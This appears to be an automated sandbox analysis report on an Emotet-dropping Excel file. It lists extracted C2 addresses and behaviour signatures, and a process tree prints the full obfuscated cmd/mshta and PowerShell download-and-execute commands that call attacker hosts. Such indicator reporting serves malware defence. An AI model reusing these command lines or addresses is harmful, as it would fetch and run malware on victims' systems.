Analysis

  • max time kernel
    126s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18/01/2022, 12:28

General

  • Target
    9cebcae891c79194e3c1d821b5985057.xls
  • Size 128KB
  • Sample220118-pncpwsbcbr
  • SHA256 21750a942c925484d6e4e5fa44b8e8d795dcda94557066150d3f6a03e567d98e
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/cc.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/PP91.PNG

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9cebcae891c79194e3c1d821b5985057.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/cc.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2028
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:920
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1224
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Swonk\yfadab.rba",pDdxKcRbQCTweLD
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1484
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Swonk\yfadab.rba",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1828

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/920-69-0x0000000000240000-0x0000000000266000-memory.dmp

        memory/984-61-0x0000000000531000-0x0000000000532000-memory.dmp

        memory/984-60-0x0000000000530000-0x0000000000531000-memory.dmp

        memory/984-62-0x0000000000532000-0x0000000000534000-memory.dmp

        memory/1224-80-0x0000000000AE0000-0x0000000000B06000-memory.dmp

        memory/1224-90-0x00000000028F0000-0x0000000002916000-memory.dmp

        memory/1224-86-0x00000000026B0000-0x00000000026D6000-memory.dmp

        memory/1224-76-0x00000000001A0000-0x00000000001C6000-memory.dmp

        memory/1224-78-0x00000000003B0000-0x00000000003D6000-memory.dmp

        memory/1484-89-0x0000000000130000-0x0000000000156000-memory.dmp

        memory/1648-55-0x0000000071CE1000-0x0000000071CE3000-memory.dmp

        memory/1648-54-0x000000002F931000-0x000000002F934000-memory.dmp

        memory/1648-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1648-57-0x0000000076001000-0x0000000076003000-memory.dmp

        memory/1648-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1828-104-0x0000000002740000-0x0000000002766000-memory.dmp

        memory/1828-102-0x0000000002640000-0x0000000002666000-memory.dmp

        memory/1828-98-0x0000000000D80000-0x0000000000DA6000-memory.dmp

        memory/1828-106-0x00000000027E0000-0x0000000002806000-memory.dmp

        memory/1828-108-0x00000000029B0000-0x00000000029D6000-memory.dmp

        memory/1828-110-0x0000000002B10000-0x0000000002B36000-memory.dmp

        memory/1828-112-0x0000000002BD0000-0x0000000002BF6000-memory.dmp

        memory/1828-96-0x00000000008A0000-0x00000000008C6000-memory.dmp

        memory/1828-115-0x0000000002B71000-0x0000000002B93000-memory.dmp

        memory/1828-116-0x0000000002A90000-0x0000000002AB6000-memory.dmp